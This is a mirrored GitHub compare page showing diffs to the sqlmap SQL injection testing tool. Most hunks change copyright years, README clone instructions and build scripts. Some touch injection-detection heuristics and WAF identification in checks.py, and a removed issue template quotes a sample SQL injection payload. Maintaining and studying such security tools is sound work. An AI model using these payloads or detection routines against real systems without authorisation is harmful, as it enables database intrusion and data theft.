mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
 Miroslav Stampar
|
54ca69fa90 |
+1
-2
@@ -2,5 +2,4 @@
|
||||
output/
|
||||
.sqlmap_history
|
||||
traffic.txt
|
||||
*~
|
||||
.idea/
|
||||
*~
|
||||
@@ -1,26 +0,0 @@
|
||||
## What's the problem (or question)?
|
||||
<!--- If describing a bug, tell us what happens instead of the expected behavior -->
|
||||
<!--- If suggesting a change/improvement, explain the difference from current behavior -->
|
||||
|
||||
## Do you have an idea for a solution?
|
||||
<!--- Not obligatory, but suggest a fix/reason for the bug, -->
|
||||
<!--- or ideas how to implement the addition or change -->
|
||||
|
||||
## How can we reproduce the issue?
|
||||
<!--- Provide unambiguous set of steps to reproduce this bug. Include command to reproduce, if relevant (you can mask the sensitive data) -->
|
||||
1.
|
||||
2.
|
||||
3.
|
||||
4.
|
||||
|
||||
## What are the running context details?
|
||||
<!--- Include as many relevant details about the running context you experienced the bug/problem in -->
|
||||
* Installation method (e.g. `pip`, `apt-get`, `git clone` or `zip`/`tar.gz`):
|
||||
* Client OS (e.g. `Microsoft Windows 10`)
|
||||
* Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation):
|
||||
* Target DBMS (e.g. `Microsoft SQL Server`):
|
||||
* Detected WAF/IDS/IPS protection (e.g. `ModSecurity` or `unknown`):
|
||||
* SQLi techniques found by sqlmap (e.g. `error-based` and `boolean-based blind`):
|
||||
* Results of manual target assessment (e.g. found that the payload `query=test' AND 4113 IN ((SELECT 'foobar'))-- qKLV` works):
|
||||
* Relevant console output (if any):
|
||||
* Exception traceback (if any):
|
||||
@@ -18,7 +18,7 @@ You can download the latest tarball by clicking [here](https://github.com/sqlmap
|
||||
|
||||
Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository:
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap works out of the box with [Python](http://www.python.org/download/) version **2.6.x** and **2.7.x** on any platform.
|
||||
|
||||
|
||||
+1
-1
@@ -76,7 +76,7 @@
|
||||
* Added option `--safe-post` to set POST data for sending to safe URL.
|
||||
* Added option `--safe-req` for loading HTTP request from a file that will be used during sending to safe URL.
|
||||
* Added option `--skip` to skip testing of given parameter(s).
|
||||
* Added switch `--skip-static` to skip testing parameters that not appear to be dynamic.
|
||||
* Added switch `--skip-static` to skip testing parameters that not appear dynamic.
|
||||
* Added switch `--skip-urlencode` to skip URL encoding of payload data.
|
||||
* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS/IDS protection.
|
||||
* Added switch `--smart` to conduct thorough tests only if positive heuristic(s).
|
||||
|
||||
+2
-1
@@ -1,7 +1,7 @@
|
||||
COPYING -- Describes the terms under which sqlmap is distributed. A copy
|
||||
of the GNU General Public License (GPL) is appended to this file.
|
||||
|
||||
sqlmap is (C) 2006-2017 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
|
||||
sqlmap is (C) 2006-2016 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
|
||||
|
||||
This program is free software; you may redistribute and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -361,6 +361,7 @@ This license does not apply to the following components:
|
||||
* The MultipartPost library located under thirdparty/multipartpost/.
|
||||
* The Odict library located under thirdparty/odict/.
|
||||
* The Oset library located under thirdparty/oset/.
|
||||
* The PageRank library located under thirdparty/pagerank/.
|
||||
* The PrettyPrint library located under thirdparty/prettyprint/.
|
||||
* The PyDes library located under thirdparty/pydes/.
|
||||
* The SocksiPy library located under thirdparty/socks/.
|
||||
|
||||
+2
-2
@@ -281,6 +281,8 @@ be bound by the terms and conditions of this License Agreement.
|
||||
|
||||
* The bottle web framework library located under thirdparty/bottle/.
|
||||
Copyright (C) 2012, Marcel Hellkamp.
|
||||
* The PageRank library located under thirdparty/pagerank/.
|
||||
Copyright (C) 2010, Corey Goldberg.
|
||||
* The Termcolor library located under thirdparty/termcolor/.
|
||||
Copyright (C) 2008-2011, Volvox Development Team.
|
||||
|
||||
@@ -310,5 +312,3 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
|
||||
* The PyDes library located under thirdparty/pydes/.
|
||||
Copyleft 2009, Todd Whiteman.
|
||||
* The win_inet_pton library located under thirdparty/wininetpton/.
|
||||
Copyleft 2014, Ryan Vennell.
|
||||
|
||||
@@ -17,7 +17,7 @@ Se puede descargar el "tarball" más actual haciendo clic [aquí](https://github
|
||||
|
||||
Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https://github.com/sqlmapproject/sqlmap):
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap funciona con las siguientes versiones de [Python](http://www.python.org/download/) ** 2.6.x** y ** 2.7.x** en cualquier plataforma.
|
||||
|
||||
@@ -26,7 +26,7 @@ Uso
|
||||
|
||||
Para obtener una lista de opciones básicas:
|
||||
|
||||
python sqlmap.py -h
|
||||
python sqlmap.py -h
|
||||
|
||||
Para obtener una lista de todas las opciones:
|
||||
|
||||
|
||||
@@ -17,7 +17,7 @@ Vous pouvez télécharger le plus récent fichier tarball en cliquant [ici](http
|
||||
|
||||
De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sqlmapproject/sqlmap):
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6.x** et **2.7.x** de [Python](http://www.python.org/download/)
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@
|
||||
|
||||
Κατά προτίμηση, μπορείτε να κατεβάσετε το sqlmap κάνοντας κλώνο το [Git](https://github.com/sqlmapproject/sqlmap) αποθετήριο:
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](http://www.python.org/download/) έκδοσης **2.6.x** και **2.7.x** σε όποια πλατφόρμα.
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@ Možete preuzeti zadnji tarball klikom [ovdje](https://github.com/sqlmapproject/
|
||||
|
||||
Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija:
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap radi bez posebnih zahtjeva korištenjem [Python](http://www.python.org/download/) verzije **2.6.x** i/ili **2.7.x** na bilo kojoj platformi.
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@ Anda dapat mengunduh tarball versi terbaru [di sini]
|
||||
|
||||
Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap):
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap berfungsi langsung pada [Python](http://www.python.org/download/) versi **2.6.x** dan **2.7.x** pada platform apapun.
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@ Puoi scaricare l'ultima tarball cliccando [qui](https://github.com/sqlmapproject
|
||||
|
||||
La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](https://github.com/sqlmapproject/sqlmap):
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap è in grado di funzionare con le versioni **2.6.x** e **2.7.x** di [Python](http://www.python.org/download/) su ogni piattaforma.
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@ wikiに載っているいくつかの機能のデモをスクリーンショッ
|
||||
|
||||
[Git](https://github.com/sqlmapproject/sqlmap) レポジトリをクローンして、sqlmapをダウンロードすることも可能です。:
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmapは、 [Python](http://www.python.org/download/) バージョン **2.6.x** または **2.7.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@ Você pode baixar o arquivo tar mais recente clicando [aqui]
|
||||
|
||||
De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap funciona em [Python](http://www.python.org/download/) nas versões **2.6.x** e **2.7.x** em todas as plataformas.
|
||||
|
||||
|
||||
@@ -21,7 +21,7 @@ Kurulum
|
||||
|
||||
Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayarak indirebilirsiniz
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap [Python](http://www.python.org/download/) sitesinde bulunan **2.6.x** and **2.7.x** versiyonları ile bütün platformlarda çalışabilmektedir.
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@ sqlmap 是一个开源的渗透测试工具，可以用来自动化的检测，
|
||||
|
||||
推荐你从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码:
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6.x** 和 **2.7.x** 版本的任何平台上
|
||||
|
||||
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+1
-1
@@ -3,7 +3,7 @@
|
||||
"""
|
||||
beep.py - Make a beep sound
|
||||
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
"""
|
||||
cloak.py - Simple file encryption/compression utility
|
||||
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
"""
|
||||
dbgtool.py - Portable executable to ASCII debug script converter
|
||||
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
"""
|
||||
safe2bin.py - Simple safe(hex) to binary format converter
|
||||
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
|
||||
# Removes duplicate entries in wordlist like files
|
||||
|
||||
@@ -13,7 +13,7 @@ then
|
||||
NEW_TAG=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); print '.'.join(_[:-1]) if len(_) == 4 and _[-1] == '0' else ''" "$LINE")
|
||||
if [ -n "$NEW_TAG" ]
|
||||
then
|
||||
#git commit -am "Automatic monthly tagging"
|
||||
git commit -am "Automatic monthly tagging"
|
||||
echo "Creating new tag ${NEW_TAG}"
|
||||
git tag $NEW_TAG
|
||||
git push origin $NEW_TAG
|
||||
|
||||
@@ -10,8 +10,6 @@ PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT
|
||||
SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
|
||||
CHECKSUM_FULLPATH=${SCRIPTPATH%/*}/$CHECKSUM
|
||||
|
||||
git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0
|
||||
|
||||
if [ -f $SETTINGS_FULLPATH ]
|
||||
then
|
||||
LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"')
|
||||
|
||||
@@ -20,8 +20,8 @@ def check(module):
|
||||
print "CHECKING ", module
|
||||
pout = os.popen("pylint --rcfile=/dev/null %s" % module, 'r')
|
||||
for line in pout:
|
||||
if re.match("\AE:", line):
|
||||
print line.strip()
|
||||
if re.match("E....:.", line):
|
||||
print line
|
||||
if __RATING__ and "Your code has been rated at" in line:
|
||||
print line
|
||||
score = re.findall("\d.\d\d", line)[0]
|
||||
|
||||
@@ -11,7 +11,7 @@ cat > $TMP_DIR/setup.py << EOF
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -55,7 +55,7 @@ cat > sqlmap/__init__.py << EOF
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -107,7 +107,7 @@ If you prefer fetching daily updates, you can download sqlmap by cloning the
|
||||
|
||||
::
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap works out of the box with
|
||||
`Python <http://www.python.org/download/>`__ version **2.6.x** and
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
|
||||
import codecs
|
||||
@@ -22,6 +22,7 @@ from lib.core.revision import getRevisionNumber
|
||||
|
||||
START_TIME = time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime())
|
||||
SQLMAP_HOME = "/opt/sqlmap"
|
||||
REVISION = getRevisionNumber()
|
||||
|
||||
SMTP_SERVER = "127.0.0.1"
|
||||
SMTP_PORT = 25
|
||||
@@ -29,7 +30,7 @@ SMTP_TIMEOUT = 30
|
||||
FROM = "[email protected]"
|
||||
#TO = "[email protected]"
|
||||
TO = ["[email protected]", "[email protected]"]
|
||||
SUBJECT = "regression test started on %s using revision %s" % (START_TIME, getRevisionNumber())
|
||||
SUBJECT = "regression test started on %s using revision %s" % (START_TIME, REVISION)
|
||||
TARGET = "debian"
|
||||
|
||||
def prepare_email(content):
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+21
-42
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -10,9 +10,10 @@ import httplib
|
||||
import random
|
||||
import re
|
||||
import socket
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
from subprocess import Popen as execute
|
||||
|
||||
from extra.beep.beep import beep
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import Backend
|
||||
@@ -20,7 +21,6 @@ from lib.core.common import extractRegexResult
|
||||
from lib.core.common import extractTextTagContent
|
||||
from lib.core.common import findDynamicContent
|
||||
from lib.core.common import Format
|
||||
from lib.core.common import getFilteredPageContent
|
||||
from lib.core.common import getLastRequestHTTPError
|
||||
from lib.core.common import getPublicTypeMembers
|
||||
from lib.core.common import getSafeExString
|
||||
@@ -64,7 +64,6 @@ from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.exception import SqlmapSilentQuitException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
|
||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
|
||||
from lib.core.settings import FI_ERROR_REGEX
|
||||
@@ -201,7 +200,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
if conf.tech and isinstance(conf.tech, list) and stype not in conf.tech:
|
||||
debugMsg = "skipping test '%s' because the user " % title
|
||||
debugMsg += "specified to test only for "
|
||||
debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.tech)
|
||||
debugMsg += "%s techniques" % " & ".join(map(lambda x: PAYLOAD.SQLINJECTION[x], conf.tech))
|
||||
logger.debug(debugMsg)
|
||||
continue
|
||||
|
||||
@@ -480,26 +479,6 @@ def checkSqlInjection(place, parameter, value):
|
||||
|
||||
injectable = True
|
||||
|
||||
elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
||||
originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n"))
|
||||
trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n"))
|
||||
falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n"))
|
||||
|
||||
if originalSet == trueSet != falseSet:
|
||||
candidates = trueSet - falseSet
|
||||
|
||||
if candidates:
|
||||
candidates = sorted(candidates, key=lambda _: len(_))
|
||||
for candidate in candidates:
|
||||
if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
|
||||
conf.string = candidate
|
||||
injectable = True
|
||||
|
||||
infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
||||
logger.info(infoMsg)
|
||||
|
||||
break
|
||||
|
||||
if injectable:
|
||||
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
||||
if all((falseCode, trueCode)) and falseCode != trueCode:
|
||||
@@ -672,20 +651,20 @@ def checkSqlInjection(place, parameter, value):
|
||||
|
||||
# Feed with test details every time a test is successful
|
||||
if hasattr(test, "details"):
|
||||
for key, value in test.details.items():
|
||||
if key == "dbms":
|
||||
injection.dbms = value
|
||||
for dKey, dValue in test.details.items():
|
||||
if dKey == "dbms":
|
||||
injection.dbms = dValue
|
||||
|
||||
if not isinstance(value, list):
|
||||
Backend.setDbms(value)
|
||||
if not isinstance(dValue, list):
|
||||
Backend.setDbms(dValue)
|
||||
else:
|
||||
Backend.forceDbms(value[0], True)
|
||||
Backend.forceDbms(dValue[0], True)
|
||||
|
||||
elif key == "dbms_version" and injection.dbms_version is None and not conf.testFilter:
|
||||
injection.dbms_version = Backend.setVersion(value)
|
||||
elif dKey == "dbms_version" and injection.dbms_version is None and not conf.testFilter:
|
||||
injection.dbms_version = Backend.setVersion(dValue)
|
||||
|
||||
elif key == "os" and injection.os is None:
|
||||
injection.os = Backend.setOs(value)
|
||||
elif dKey == "os" and injection.os is None:
|
||||
injection.os = Backend.setOs(dValue)
|
||||
|
||||
if vector is None and "vector" in test and test.vector is not None:
|
||||
vector = test.vector
|
||||
@@ -717,7 +696,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
|
||||
logger.info(infoMsg)
|
||||
|
||||
process = subprocess.Popen(conf.alert, shell=True)
|
||||
process = execute(conf.alert, shell=True)
|
||||
process.wait()
|
||||
|
||||
kb.alerted = True
|
||||
@@ -942,10 +921,8 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
|
||||
origValue = conf.paramDict[place][parameter]
|
||||
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
|
||||
|
||||
prefix = ""
|
||||
suffix = ""
|
||||
randStr = ""
|
||||
|
||||
if conf.prefix or conf.suffix:
|
||||
if conf.prefix:
|
||||
@@ -954,7 +931,9 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
if conf.suffix:
|
||||
suffix = conf.suffix
|
||||
|
||||
while randStr.count('\'') != 1 or randStr.count('\"') != 1:
|
||||
randStr = ""
|
||||
|
||||
while '\'' not in randStr:
|
||||
randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET)
|
||||
|
||||
kb.heuristicMode = True
|
||||
@@ -1354,7 +1333,7 @@ def identifyWaf():
|
||||
|
||||
for function, product in kb.wafFunctions:
|
||||
try:
|
||||
logger.debug("checking for WAF/IPS/IDS product '%s'" % product)
|
||||
logger.debug("checking for WAF/IDS/IPS product '%s'" % product)
|
||||
found = function(_)
|
||||
except Exception, ex:
|
||||
errMsg = "exception occurred while running "
|
||||
@@ -1364,7 +1343,7 @@ def identifyWaf():
|
||||
found = False
|
||||
|
||||
if found:
|
||||
errMsg = "WAF/IPS/IDS identified as '%s'" % product
|
||||
errMsg = "WAF/IDS/IPS identified as '%s'" % product
|
||||
logger.critical(errMsg)
|
||||
|
||||
retVal.append(product)
|
||||
@@ -1381,7 +1360,7 @@ def identifyWaf():
|
||||
if output and output[0] not in ("Y", "y"):
|
||||
raise SqlmapUserQuitException
|
||||
else:
|
||||
warnMsg = "WAF/IPS/IDS product hasn't been identified"
|
||||
warnMsg = "WAF/IDS/IPS product hasn't been identified"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
kb.testType = None
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -65,6 +65,7 @@ from lib.core.settings import REFERER_ALIASES
|
||||
from lib.core.settings import USER_AGENT_ALIASES
|
||||
from lib.core.target import initTargetEnv
|
||||
from lib.core.target import setupTargetEnv
|
||||
from thirdparty.pagerank.pagerank import get_pagerank
|
||||
|
||||
def _selectInjection():
|
||||
"""
|
||||
@@ -162,10 +163,9 @@ def _showInjections():
|
||||
header = "sqlmap resumed the following injection point(s) from stored session"
|
||||
|
||||
if hasattr(conf, "api"):
|
||||
conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET)
|
||||
conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
|
||||
else:
|
||||
data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n")
|
||||
data = "".join(set(map(lambda x: _formatInjection(x), kb.injections))).rstrip("\n")
|
||||
conf.dumper.string(header, data)
|
||||
|
||||
if conf.tamper:
|
||||
@@ -224,7 +224,7 @@ def _saveToResultsFile():
|
||||
return
|
||||
|
||||
results = {}
|
||||
techniques = dict((_[1], _[0]) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE))
|
||||
techniques = dict(map(lambda x: (x[1], x[0]), getPublicTypeMembers(PAYLOAD.TECHNIQUE)))
|
||||
|
||||
for injection in kb.injections + kb.falsePositives:
|
||||
if injection.place is None or injection.parameter is None:
|
||||
@@ -238,7 +238,7 @@ def _saveToResultsFile():
|
||||
|
||||
for key, value in results.items():
|
||||
place, parameter, notes = key
|
||||
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
|
||||
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(map(lambda x: techniques[x][0].upper(), sorted(value))), notes, os.linesep)
|
||||
conf.resultsFP.writelines(line)
|
||||
|
||||
if not results:
|
||||
@@ -319,7 +319,7 @@ def start():
|
||||
if conf.forms and conf.method:
|
||||
message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl)
|
||||
else:
|
||||
message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET, targetUrl)
|
||||
message = "URL %d:\n%s %s%s" % (hostCount, HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "")
|
||||
|
||||
if conf.cookie:
|
||||
message += "\nCookie: %s" % conf.cookie
|
||||
@@ -470,12 +470,6 @@ def start():
|
||||
infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
